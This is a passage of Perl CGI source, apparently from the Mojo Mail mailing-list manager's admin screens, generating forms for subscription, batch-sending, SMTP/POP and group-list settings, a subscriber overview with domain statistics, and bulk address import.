print "<input type=checkbox name=no_confirm_email value=1 "; print"checked" unless($list_info{no_confirm_email} eq "0"); print ">\n"; 
print "</td><td>"; 




print "<p><b><a href=javascript:checklink(4) class=black>Send Subscription Confirmation Emails</a></b><br>";
print "Subscribers will  have to reply to a confirmation e-mail sent to the address that's"; 
print " entered into the subscripton form. If you do not send confirmation e-mails, the subscriber"; 
print " will be added to your list right after the email is checked for validity and to make sure its";
print " not already on your list</p>"; 
print "</td></tr>";

print "<tr>\n<td valign=top>"; 
print "<input type=checkbox name=unsub_confirm_email value=1 "; print"checked" if($list_info{unsub_confirm_email} eq "1"); print ">\n"; 
print "</td><td>"; 


print "<p><b><a href=javascript:checklink(5) class=black>Send Unsubscription Confirmation Emails</a></b><br>";
print "Unsubscribers will have to reply to an unsubscription confirmation e-mail if they try to unsubscribe from the list without their pin</p>"; 
print "</td></tr>"; 



print "<tr>\n<td valign=top>"; 
print "<input type=checkbox name=mx_check value=1 "; print"checked" if($list_info{mx_check} == "1"); print ">\n"; 
print "</td><td>"; 


print "<p><b><a href=javascript:checklink(6) class=black>Lookup Hostnames When Validating Email Addresses.</a></b><br />";
print "When an email address is submitted and validated, the domain of the address will be checked for its existance."; 
print "</td></tr>"; 






print "</table>"; 


print "<input type=hidden name=process value=\"true\">";
print "<input type=hidden name=flavor value=\"list_options\">";



print submit_form(-Submit=>'Save List Options'); 

print "<p>\&nbsp;</p><p align=right><b><a href=http://mojo.skazat.com/support/2.3/subscription_process.html target=out>[?] The Subscription Process</a></b></p>" if $SHOW_HELP_LINKS == 1;



print(admin_html_footer(-List => $list));
}else{ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 
my %new_info = ( 
 list                =>   $list_info{list},
 hide_list           =>   $hide_list,
 closed_list         =>   $closed_list,
 get_sub_notice      =>   $get_sub_notice, 
 get_unsub_notice    =>   $get_unsub_notice, 
 no_confirm_email    =>   $no_confirm_email,
 unsub_confirm_email =>   $unsub_confirm_email,
 mx_check            =>   $mx_check,
);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 


print $q -> redirect(-uri=>"$MOJO_URL?flavor=list_options&done=1"); 


}


}




sub sending_options { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'sending_options'
);


$list = $admin_list;
my %list_info = open_database(-List => $list, ); 
  
  
  
#a few variables
my $bulk_send_amount          = $q->param("bulk_send_amount"); 
my $bulk_send_seconds         = $q->param("bulk_send_seconds"); 
my $bulk_send_seconds_label   = $q->param("bulk_send_seconds_label"); 
my $precedence                = $q->param('precedence');
my $charset                   = $q->param('charset');
my $content_type              = $q->param('content_type');
    



my $enable_bulk_batching      = $q->param("enable_bulk_batching")      || 0;  
my $get_batch_notification    = $q->param("get_batch_notification")    || 0;  
my $get_finished_notification = $q->param("get_finished_notification") || 0;  
my $send_via_smtp             = $q->param("send_via_smtp")             || 0;

unless(defined($process)){ 
	my @message_amount = (1..25, 30, 40, 50, 60, 70, 80, 90, 100, 150, 200, 250, 300, 350, 400, 450, 500, 1000, 1500, 2000, 4000, 6000, 8000, 10000); 
	unshift(@message_amount, $list_info{bulk_send_amount}) if exists($list_info{bulk_send_amount}); 
	my @message_wait = (1..60); 
	unshift(@message_wait, $list_info{bulk_send_seconds}) if exists($list_info{bulk_send_seconds}); 


my @message_label = (1, 60, 3600); 
my %label_label = (1     => 'seconds',
				   60    => 'minutes', 
				   3600  => 'hours', 
				   86400 => 'days'); 

unshift(@message_label, $list_info{bulk_send_seconds_label}) if exists($list_info{bulk_send_seconds_label}); 

                             

print(admin_html_header(      
      -Title      => "Sending Options", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login));

#good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 

print p("$PROGRAM_NAME is able to send its bulk mailings in \&quot;batches\&quot;, allowing you, 
         to send to a fairly large list without browser timeouts, or your mail program,
         complaining about too many messages being sent at once."),
         
         
      p("$PROGRAM_NAME will send as many individual messages as you specify.,
         After that mailing is over it will wait the amount of time you set before it sends out its next batch.,
         This pattern will repeat until all subscribers receive a copy of your message.");
         
         
 
print "<table>"; 



print "<tr><td valign=top>"; 
print "<input type=checkbox name=send_via_smtp value=1 "; print"checked" if($list_info{send_via_smtp} eq "1"); print ">\n"; 
print "</td><td valign=top>"; 
print "<p><b><a href=javascript:checklink(0) class=black>Send E-mail Using SMTP</a></b> send all e-mail from $PROGRAM_NAME using a straight SMTP connection "; 
print " instead of through a mail program such as sendmail.</p>";
print "<p class=smallred><i>Warning! No SMTP Server has been set!</i></p>" if((!$list_info{smtp_server}) && ($list_info{send_via_smtp} eq "1"));
print "<p align=right><a href=$MOJO_URL?f=smtp_options><b>SMTP settings...</b></a></p>"; 

print "</td></tr>";




print "<tr><td valign=top>"; 

print "<input type=checkbox name=enable_bulk_batching value=1 "; print"checked" if($list_info{enable_bulk_batching} eq "1"); print ">\n"; 




print "</td><td valign=top>"; 
print "<p><b><a href=javascript:checklink(1) class=black>Enable Batch Sending</a></b> You must enable batch sending for batch sending to start working."; 
print "Lists under 100 people may not need it at all.</p>"; 
print "</td></tr></table>"; 

print "<hr noshade size=1 width=66% align=center>";

 
print "<table align=center>"; 


print Tr(td([p("Send"), p(popup_menu( 
                                  -name => "bulk_send_amount", 
                                   -value => [@message_amount],  
                                                )), p("Messages")]));
                                             
 print Tr(td([p("Every"), p(popup_menu( 
                                  -name => "bulk_send_seconds", 
                                  -value => [@message_wait],  
                                                 )), p(popup_menu( 
                                                      -name => "bulk_send_seconds_label", 
                                                      -value => [@message_label],
                                                      -labels => \%label_label, 
                                                       ))]));                                            
                                             
                                            
print "</table>"; 
                     
print "<hr noshade size=1 width=66% align=center>";
                     
print "<table>"; 
print "<tr><td valign=top>"; 
print "<input type=checkbox name=get_batch_notification value=1 "; print"checked" unless($list_info{get_batch_notification} eq "0"); print ">\n"; 




print "</td><td valign=top>"; 
print "<p><b><a href=javascript:checklink(5) class=black>Receive Batch Confirmations</a></b> Receive notices by e-mail every time"; 
print " a batch is complete. You'll be told what batch $PROGRAM_NAME is on and "; 
print " how many people have received your message so far.</p>"; 
print "</td></tr></table>"; 

                     
print "<table>"; 
print "<tr><td valign=top>"; 



print "<input type=checkbox name=get_finished_notification value=1 "; print"checked" unless($list_info{get_finished_notification} eq "0"); print ">\n"; 



print "</td><td valign=top>"; 
print "<p><b><a href=javascript:checklink(6) class=black>Receive Finishing Message</a></b> Receive notice by e-mail when $PROGRAM_NAME has sent all your list messages.</p>"; 
print "</td></tr></table>";                                            
 
 

print "<p align=right><b><a href=$MOJO_URL?flavor=adv_sending_options>Advanced ...</a></b></p>\n"; 



 
print "<input type=hidden name=process value=\"true\">";
print "<input type=hidden name=flavor value=\"sending_options\">";


print submit_form(-Submit=>'Save Sending Options'); 
 


print "<p>\&nbsp;</p><p align=right><b><a href=http://mojo.skazat.com/support/2.3/batch_sending.html target=out>[?] Send Mailing List Messages in Batches</a></b></p>" if $SHOW_HELP_LINKS == 1;

print(admin_html_footer(-List => $list));
}else{ 

my $bulk_sleep_amount = $bulk_send_seconds * $bulk_send_seconds_label; 


$list = $admin_list;
my %list_info =  open_database(-List => $list); 
my %new_info = (

list                      =>   $list_info{list},
bulk_send_amount          =>   $bulk_send_amount,  
bulk_send_seconds         =>   $bulk_send_seconds,    
bulk_send_seconds_label   =>   $bulk_send_seconds_label,
enable_bulk_batching      =>   $enable_bulk_batching,  
bulk_sleep_amount         =>   $bulk_sleep_amount,
get_batch_notification    =>   $get_batch_notification,
get_finished_notification =>   $get_finished_notification,
send_via_smtp             =>   $send_via_smtp,

);


my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

print $q -> redirect(-uri=>"$MOJO_URL?flavor=sending_options&done=1"); 
}
}


sub adv_sending_options { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'sending_options'
);


$list = $admin_list;
my %list_info = open_database(-List => $list, ); 
  
  
  
#a few variables 
my $precedence                =   $q->param('precedence');
my $priority                  =   $q->param('priority');
my $charset                   =   $q->param('charset');
my $content_type              =   $q->param('content_type'); 
my $strip_message_headers     =   $q->param('strip_message_headers')    || 0;
my $add_sendmail_f_flag		  =   $q->param('add_sendmail_f_flag')      || 0;
my $print_return_path_header  =   $q->param('print_return_path_header') || 0;
my $print_list_headers		  =   $q->param('print_list_headers')       || 0;


unless(defined($process)){ 
                             

print(admin_html_header(      
      -Title      => "Advanced Sending Options", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login));

print $GOOD_JOB_MESSAGE if(defined($done)); 



unshift(@CHARSETS,      $list_info{charset});


print table({-cellpadding => 5},


                                                      
      Tr(td([p(b('Default Precedence of Bulk Mailings')),  p(popup_menu( 
                                                     -name =>  "precedence", 
                                                     -value => [@PRECEDENCES],
                                                     -default =>  $list_info{precedence} 
                                                      ))])), 
                                                      
      Tr(td([p(b('Default Priority of Bulk Mailings')),  p(popup_menu( 
                                                     -name =>  "priority", 
                                                     -value => [keys %PRIORITIES],
                                                     -labels => \%PRIORITIES,
                                                     -default =>  $list_info{priority} 
                                                      ))])),      
                                                                                                       
      Tr(td([p(b('Default Character Set of Mailings')), p(popup_menu( 
                                                     -name   => 'charset', 
                                                     -value  => [@CHARSETS], 
                                                  
                                                     ))])), 


      Tr(td([p(b('Default Content Type of Mailings')), p(popup_menu( 
                                                     -name   => 'content_type', 
                                                     -value  => [@CONTENT_TYPES], 
                                                     -default =>  $list_info{content_type} 
                                                     ))])),
      ); 
                                
                                                                                   

print "<table cellpadding=5>";


print "<tr><td valign=top><p>";
print "<input type=checkbox name=strip_message_headers value=1 "; print"checked" if($list_info{strip_message_headers} eq "1"); print ">\n"; 
print "</p></td><td><p>"; 
print "<b><a href=javascript:checklink(4) class=black>Send all e-mails with only the address in the 'To' and 'From' message headers</a></b><br>"; 
print "Some SMTP servers get confused when 'To:' and 'From:' mail headers contain both the address and name<br> (example: &quot;John Smith&quot; &lt;johm\@smith.com&gt;)<br>"; 
print "All messages sent will only contain the actual address<br>(example: john\@smith.com)</p>"; 
print '</td></tr>'; 



print "<tr><td valign=top><p>";
print "<input type=checkbox name=print_list_headers value=1 "; print"checked" if($list_info{print_list_headers} eq "1"); print ">\n"; 
print "</p></td><td><p>"; 
print "<b><a href=javascript:checklink(5) class=black>Print list-specific headers in all list emails</a></b><br>"; 
print "List-specific headers store information on how to subscribe and unsubscribe from a list, as well as other list specific information, in the header of the email."; 
print " <b>It is highly advised to take advantage of these headers.</b></p>"; 
print '</td></tr>'; 





print "<tr><td valign=top><p>";
print "<input type=checkbox name=add_sendmail_f_flag value=1 "; print"checked" if($list_info{add_sendmail_f_flag} eq "1"); print ">\n"; 
print "</p></td><td><p>"; 
print qq{<b><a href=javascript:checklink(6) class=black>Add the 
		 Sendmail '-f'  flag when sending messages, using <i>$MAILPROG</i></a>
		 </b><br> Sometimes the Errors-To header, useful when dealing with bounced emails,
	    will not get set correctly. To fix this, messages will be sent with the 
	    '-f' flag and the admin email:<br><br>

		$MAIL_SETTINGS -f $list_info{admin_email}

		</p>}; 

print '</td></tr>'; 



print "<tr><td valign=top><p>";
print "<input type=checkbox name=print_return_path_header value=1 "; print"checked" if($list_info{print_return_path_header} eq "1"); print ">\n"; 
print "</p></td><td><p>"; 
print qq{<b><a href=javascript:checklink(7) class=black>Print the 'Return-Path header in all list emails</a>
		 </b><br>The 'Return-Path' header works much like setting the '-f' flag. Alternatives to Sendmail (like Qmail) 
		 allow you to use the Return-Path header.
		</p>}; 

print '</td></tr>'; 



                                                     
print "</table>"; 
print hidden('process', 'true'); 
print hidden('list', $list);
print hidden('flavor', 'adv_sending_options');
print submit_form();  


print p({-align=>'right'}, b(a({-href=>"$MOJO_URL?flavor=sending_options"},'Basic...')));

print(admin_html_footer(-List => $list));
}else{ 



$list = $admin_list;
my %list_info =  open_database(-List => $list,); 
my %new_info = (
list                       =>   $list,
precedence                 =>   $precedence,
priority                   =>   $priority,
charset                    =>   $charset, 
content_type               =>   $content_type,
strip_message_headers      =>   $strip_message_headers,
add_sendmail_f_flag        =>   $add_sendmail_f_flag,
print_list_headers         =>   $print_list_headers,
print_return_path_header   =>   $print_return_path_header,
);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
print $q -> redirect(-uri=>"$MOJO_URL?flavor=adv_sending_options&done=1"); 



}



}




sub smtp_options { 
	my $root_login = check_list_security( 
	-Admin_List      => $admin_list, 
	-Admin_Password  => $admin_password,
	-IP_Address      => $ENV{REMOTE_ADDR},
	-Function        => 'smtp_options');
	
	require MOJO::Password;
	
	$list = $admin_list;
	my %list_info = open_database(-List => $list); 
	
	if(!$process){
		print(admin_html_header(      
			  -Title      => "SMTP Sending Options", 
			  -List       => $list_info{list}, 
			  -Root_Login => $root_login));
		print $GOOD_JOB_MESSAGE if(defined($done)); 
		print  p('SMTP Server:', 
			   br(),  
			   textfield(-name=>'smtp_server', -value=>$list_info{smtp_server}, -size=>30)); 
		
		print "<table>"; 
		print "<tr><td valign=top>"; 
		print "<input type=checkbox name=use_pop_before_smtp value=1 "; print"checked" unless($list_info{use_pop_before_smtp} eq "0"); print ">\n"; 
		print "</td><td valign=top>"; 
		print "<p><b><a href=javascript:checklink(1) class=black>Use POP-before-SMTP Authentication</a></b>"; 
		print " A connection to your Pop Server will be created before any mail will be sent."; 
		print "This can authenticate your outgoing mail requests, if your server uses POP-before-SMTP</p>"; 
		print "</td></tr></table>"; 
		
		print p("POP-before-SMTP Authentication will require your username and password for your <b>POP3</b> Account:");
		print  p('POP3 server:', 
			   br(),  
			   textfield(-name=>'pop3_server', -value=>$list_info{pop3_server}, -size=>30)); 
					  
		print  p('POP3 username:', 
			   br(),  
			   textfield(-name=>'pop3_username', -value=>$list_info{pop3_username}, -size=>30)); 
		print  p('POP3 password:', 
			   br(),  
			   password_field(-name=>'pop3_password', -value=>MOJO::Password::cipher_decrypt($list_info{cipher_key}, $list_info{pop3_password}), -size=>30)); 
			  
		print hidden('process', 'true'); 
		print hidden('list', $list);
		print hidden('flavor', 'smtp_options');
		
		print button(
					-value   => 'Test POP-before-SMTP settings',
					-style   => $STYLE{yellow_submit},
					-onClick => 'javascript:testPOPBeforeSMTP();',
					); 
		
		print '<hr />';
		
		print submit_form();  
		print(admin_html_footer(-List => $list));
	}else{ 

		my $use_pop_before_smtp = $q->param('use_pop_before_smtp') || 0;
		my $smtp_server  = $q->param('smtp_server');
		my $pop3_server  = $q->param('pop3_server');
		my $pop3_username = $q->param('pop3_username');
		my $pop3_password  = $q->param('pop3_password');
		my %ni = (
			list                =>   $list_info{list},
			use_pop_before_smtp => $use_pop_before_smtp,
			smtp_server         => $smtp_server,
			pop3_server         => $pop3_server,	
			pop3_username       => $pop3_username, 
			pop3_password       => MOJO::Password::cipher_encrypt($list_info{cipher_key}, $pop3_password), 	
		); 
		
		my $status = setup_list(\%ni);
		user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
		print $q->redirect(-uri=>"$MOJO_URL?flavor=smtp_options&done=1"); 
		
	}
}


sub checkpop { 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'mojo_send_options');

$list = $admin_list;

require MOJO::Password;

my $user   = $q->param('user'); 
my $pass   = $q->param('pass'); 
my $server = $q->param('server'); 

my %list_info = open_database(-List => $list); 

require MOJO::Mail; 
my $mh         = MOJO::Mail->new(\%list_info);
my $pop_status = $mh->_pop_before_smtp(-pop3_server    => $server, 
									   -pop3_username  => $user, 
									   -pop3_password  => $pass);

print $q->header();
	if(defined($pop_status)){ 
		
		print h2("Success!"); 
		
		print p(b("POP-before-SMTP authentication was successful")); 
		print p(b("Make sure to 'Save Changes' to have your edits take affect.")); 
				
	}else{ 
		print h2("Warning!"); 
		print p(b('POP-before-SMTP authentication was ',i('unsuccessful'),)); 	
	}
}


sub mojo_send_options { 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'mojo_send_options');



$list = $admin_list;
my %list_info = open_database(-List => $list); 
#a few variables 
my $group_list                   = $q->param('group_list')                   || 0;  
my $allow_group_interpolation    = $q->param('allow_group_interpolation')    || 0;
my $only_allow_group_plain_text  = $q->param('only_allow_group_plain_text')  || 0;  
my $append_list_name_to_subject  = $q->param('append_list_name_to_subject')  || 0;
my $mail_group_message_to_poster = $q->param('mail_group_message_to_poster') || 0;
my $add_reply_to                 = $q->param('add_reply_to')                 || 0;

unless(defined($process)){ 
                             

print(admin_html_header(      
      -Title      => "Group Options", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login));

print $GOOD_JOB_MESSAGE if(defined($done));   


print p("You can use the mojo_send.pl to send e-mails using your mail reader, 
         such as Outlook or Eudora. mojo_send.pl can also be used to set up group lists, 
         where everyone on your list will be able to send to everyone else on your list, 
         using a special address"), 
      p("Please be sure that mojo_send.pl is properly installed before you use it!"), 

      table( 
      	  Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'group_list', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{group_list} eq "1") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(0)', -class=>'black'}, 'Make Your List a Group List')), br(), 
              'Everyone subscribed to your list can send to e-mails to everyone else on your list.'))
            ])
           ),
                           
      	  Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'allow_group_interpolation', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{allow_group_interpolation} eq "1") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=>0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(1)', -class=>'black'}, 'Allow Variable Interpolation In Group Mailings')), br(), 
              "Variable Interpolation means that pseudo tags like this: [mojo_url] will be changed to what they really are ($MOJO_URL) "))
            ])
           ),
           
            Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'only_allow_group_plain_text', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{only_allow_group_plain_text} eq "1") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=>0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(2)', -class=>'black'}, 'Only Allow Plain Text Messages To Be Sent From Group Members')), br(), 
              'Only e-mails seen as being plain text (no HTML) will be allowed to post to the group'))
            ])
           ),
           
              Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'append_list_name_to_subject', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{append_list_name_to_subject} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=>0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(3)', -class=>'black'}, 'Add the list name to the subject of group mailings')), br(), 
              'List messages will be sent out with the list name at the beginning of the message, surrounded by brackets. This
               helps subscribers with identifying an e-mail message that originates from your list.'))
            ])
           ),
 			 Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'add_reply_to', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{add_reply_to} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=>0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(4)', -class=>'black'}, 'Automatically have replies to messages directed to the group')), br(), 
              'A \'Reply-To\' header will be added to group list mailings that will direct replys to list messages back to the list.'))
            ])
           ),
  
 		Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'mail_group_message_to_poster', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{mail_group_message_to_poster} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=>0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(5)', -class=>'black'}, 'Send Posters Their Own Message')), br(), 
              'People who post messages to the list will receive their own email messages.'))
            ])
           ),

        );   
                      



print hidden('flavor','mojo_send_options'),
      hidden('process','true');
print submit_form(); 



print(admin_html_footer(-List => $list));
}else{ 



$list = $admin_list;
my %list_info =  open_database(-List => $list,); 
my %new_info = (
list                         => $list,
group_list                   => $group_list,
allow_group_interpolation    => $allow_group_interpolation,
only_allow_group_plain_text  => $only_allow_group_plain_text,
append_list_name_to_subject  => $append_list_name_to_subject,
mail_group_message_to_poster => $mail_group_message_to_poster,
add_reply_to                 => $add_reply_to,

);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

print $q -> redirect(-uri=>"$MOJO_URL?flavor=mojo_send_options&done=1"); 




}  
  
  

}



sub view_list { 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'view_list',
);



# view whos on the list, add delete addresses
$list = $admin_list; 

my %list_info =  open_database(-List => $list);
my $lh = MOJO::List->new(-List => $list, -Path => $FILES);

print(admin_html_header(      
      -Title      => "Your Subscribers", 
      -List       => $list_info{list},
      -Root_Login => $root_login));
      
print "<p>\n";


my $email_count = $q -> param("email_count");
 
if(defined($email_count)){ 
	my $add_message = "$email_count people have been added successfully"; 
	print p("$add_message"); 
}

my $delete_email_count = $q -> param("delete_email_count");
 
if(defined($delete_email_count)){ 
	 print "<p>",$delete_email_count; 
	 print " emails have been deleted</p>"; 
}



#my $any_subscribers = -s "$FILES/$list.list";
# debug

my $any_subscribers = 1;

if($any_subscribers != 0){

print <<EOF

<input type="hidden" name="flavor" value="search_email"> 
<p><b>Search</b> List For a Particular Address:<br>
<input type="text" name="keyword"><input type=submit style='$STYLE{green_submit}' value="Search Addresses"> 


<hr noshade size=1 width=66%> 


EOF
; 



print"</p>";
 



print "<table border=0 width=100%><tr>";   
print"<td><p>"; 



	print "\n<select size=10 Multiple>\n" if($SHOW_EMAIL_LIST ==1);
	my ($everyone, $domains_ref, $count_services_ref) = $lh->list_option_form(-List => $list, -In_Order => $LIST_IN_ORDER);
	print"</select>"                      if($SHOW_EMAIL_LIST ==1); 


print "&nbsp;</p></td>\n"; 


print <<EOF  

<td valign=middle align=center>
</form> 

<form action=$MOJO_URL target="text_list"> 
<input type=hidden name=flavor value="text_list"> 
<input type=submit style='$STYLE{default_submit}' value="Open List in New Window">
</form> 
<p>
<form action=$MOJO_URL> 
<input type=hidden name=flavor value="send_list_to_admin"> 
<input type=submit style='$STYLE{default_submit}' value="Send list to List Owner">
</form> 





</td> 
</tr></table>


<p>There are  a total of <b>$everyone</b> email addresses on $list_info{list_name}</p>

<hr noshade width=66% size=1>  

EOF
; 


if($SHOW_DOMAIN_TABLE  == 1) { 


#initialize some variables
my $key; 
my $value; 
my $everyone_else = $domains_ref -> {Other};


print <<EOF   

<p>E-mail addresses sorted by <b>Top Level Domains</b>, 
click on the particular domain to view the list of 
e-mails from that top level domain</p>


<center> 
 <table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000" width=300>
  <tr>
   <td bgcolor=#000000>
    <table  border="0" cellspacing="1"  width=100%> 
     <tr>
      <td bgcolor="#CC9966"><b>Domain</b></td>
      <td bgcolor="#CC9966"><b>Number</b></td>
      <td bgcolor="#CC9966"><b>Percent</b></td>
     </tr> 
EOF
; 


my @keys = sort(keys %$domains_ref); 


foreach $key (@keys){ 

	if($key !~ m/Other/i){ 
		$value = $domains_ref -> {$key}; 

		
		my $percentage;
		   if($everyone > 0){ 
	      		$percentage = ($value * 100)/$everyone;
		  	}else{ 
		  		$percentage = 0;
		  	}
		$percentage= sprintf("%.2f", $percentage);
		  			 		 
		   
		print Tr(td({-bgcolor=>'#FFFFFF'},[
		             
		              a({href=>"$MOJO_URL?flavor=search_email&method=domain&keyword=.$key"},$key), 
		              $value, 
		             "$percentage\%"
		       
		       ])); 

		# now, find what "other" is 


}
}

$value = $domains_ref -> {Other}; 


my $percentage;
   if($everyone > 0){
   		$percentage = ($value * 100)/$everyone;
	}else{ 
		$percentage = 0;
	}
   $percentage= sprintf("%.2f", $percentage);
   
   
print Tr(td({-bgcolor=>'#FFFFFF'},[

             'Other', 
              $value, 
             "$percentage\%"
       
       ])); 







print <<EOF; 

   </table> 
  </td>
 </tr>
</table> 

<p>&nbsp;</p>
<hr noshade width=66% size=1>  
 
EOF
; 

}

if($SHOW_SERVICES_TABLE==1){  

my $skey; 
my $svalue;
my $using; 
my @skeys = sort(values %SERVICES); 


print p("E-mail address sorted by popular E-mail or ISP <b>Services</b>, click on a service to see the list of e-mails from that particular service");
print <<EOF   

<center>
<table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000" width=300>
 <tr>
  <td bgcolor=#000000>
   <table  border="0" cellspacing="1"  width=100%> 
    <tr>
     <td bgcolor="#CC9966"><b>Service</b></td>
     <td bgcolor="#CC9966"><b>Number</b></td>
     <td bgcolor="#CC9966"><b>Percent</b></td>
   </tr> 
EOF
; 


%SERVICES = reverse(%SERVICES); 


foreach $skey (@skeys){ 

	$svalue = $count_services_ref->{$skey} || 0; 
	my $spercentage;
	if($everyone > 0){
		$spercentage = ($svalue * 100)/$everyone;
	}else{ 
		$spercentage = 0;
	}
	$spercentage= sprintf("%.2f", $spercentage);


	if($SERVICES{$skey} !~ m/Other/i){


		print Tr(td({-bgcolor=>'#FFFFFF'},[
		             
		              a({href=>"$MOJO_URL?flavor=search_email&method=service&keyword=$skey"},$SERVICES{$skey}), 
		              $svalue, 
		             "$spercentage\%"
		       
		       ])); 
	    }

}

$svalue = $count_services_ref -> {Other}; 
my $spercentage;

if($everyone > 0){ 
	$spercentage = ($svalue * 100)/$everyone;
}else{ 
	$spercentage = 0;
}
$spercentage= sprintf("%.2f", $spercentage);


print Tr(td({-bgcolor=>'#FFFFFF'},[
             
              'Other', 
              $svalue, 
             "$spercentage\%"
       
       ])); 
       
       
       

print <<EOF 
      </table> 
     </td>
    </tr>
   </table>  
  </center> 
 <p>&nbsp;</p> 
EOF
; 
}


}else{ 

print $NO_ONE_SUBSCRIBED;  

}
print(admin_html_footer(-List => $list));
}





sub add  { 

	my $root_login = check_list_security( 
	-Admin_List      => $admin_list, 
	-Admin_Password  => $admin_password,
	-IP_Address      => $ENV{REMOTE_ADDR},
	-Function        => 'add'
	);



	# view whos on the list, add delete addresses
	$list = $admin_list; 
	my %list_info =  open_database(-List => $list, 
								 
								   ); 
								 
	
	print(admin_html_header(      
		  -Title      => "Manage Additions", 
		  -List       => $list_info{list},
		  -Root_Login => $root_login, 
		  -Form       => 0));
	
	
	print p("To Add e-mails, enter the addresses below,  seperated by
			 spaces, commas or carriage returns. Extemely large lists
			 added (over 1000 addresses) may take a minute or two to
			 process, so please exercise patience.<br>",
         
         
         
         start_multipart_form(-action=>$MOJO_URL, -method=>'POST', -name=>'default_form'),
         hidden(-name =>'flavor', -value => 'add_email', -override=>1),
         textarea(-name=>'new_emails', 
                  -cols=>40, 
                  -rows=>4),
           
         
        '<br><input type=checkbox name=quick value=yes>
        <a href=javascript:checklink(2) class=black>
        Skip Confirmation Screen</a>');

       
print p("Alternatively, import from a file containing the email addresses would like  
         to be added to the list", br(), 
      filefield(-name => 'new_email_file'));  

print "<input type=submit style='$STYLE{green_submit}' value='Submit E-mail List'>";

print end_form();  
print(admin_html_footer(-List => $list));

}

sub add_email { 
	my $root_login = check_list_security(-Admin_List      => $admin_list, 
										 -Admin_Password  => $admin_password,
										 -IP_Address      => $ENV{REMOTE_ADDR},
									 	 -Function        => 'add_email');
	my %seen;
	$list         = $admin_list; 
	my %list_info = open_database(  -List => $list);  
	my $lh        = MOJO::List->new(-List => $list, -Path => $FILES);

	unless (defined($process)){ 
		my $new_emails;
		my $email_file = $q->param('new_email_file');
	if($email_file){ 	
		my $new_file = file_upload('new_email_file'); 	
		open(UPLOADED, "$new_file") or die $!;
		{
			local $/ = undef; 
			$new_emails = <UPLOADED>;   
		}
		close(UPLOADED);
		unlink($new_file) or warn "could not remove uploaded subscriber list, '$new_file': $!";
	}else{ 
	$new_emails = $q->param("new_emails"); 
}

my @new_addresses = split(/\s+|,|;|\n+/, $new_emails);
my @good_emails   = (); 
my @bad_emails    = (); 
my $invalid_email;
foreach my $check_this_address(@new_addresses) { 
   
    
my $pass_fail_address = check_for_valid_email($check_this_address); 
 
if ($pass_fail_address >=1){
      push(@bad_emails, $check_this_address);
     }else{    
   
   
   $check_this_address = lc_email($check_this_address); 
   push(@good_emails, $check_this_address);
   }
  }
  
%seen = (); 
my @unique_good_emails = grep { ! $seen{$_}++} @good_emails; 
%seen = (); 
my @unique_bad_emails = grep { ! $seen{$_}++} @bad_emails; 

@unique_good_emails = sort(@unique_good_emails); 
@unique_bad_emails =sort(@unique_bad_emails); 

# figure out what unique emails we have from the new list when compared to the old list
my ($unique_ref, $not_unique_ref) = $lh->unique_and_duplicate(-New_List  => \@unique_good_emails, 
														     -List      => $list, 
														   );



#initialize 
my @black_list; 
my $found_black_list_ref; 
my $clean_list_ref; 
my $black_listed_ref; 
my $black_list_ref;

if($list_info{black_list} eq "1"){ 

#open the black list  
$black_list_ref = $lh->open_email_list( -List => $list, -Type => "black_list", -As_Ref=>1);

# now, from that new list of clean emails, see which ones are black listed 
($found_black_list_ref) = $lh->get_black_list_match($black_list_ref, $unique_ref);

#now, tell me which ones still are ok. 
($clean_list_ref, $black_listed_ref) = $lh->find_unique_elements($unique_ref, $found_black_list_ref); 
                              
}else{ 

$clean_list_ref = $unique_ref; 

}


# *whew* #

if($quick eq "yes"){ 
#my @address = $q -> param("address"); 
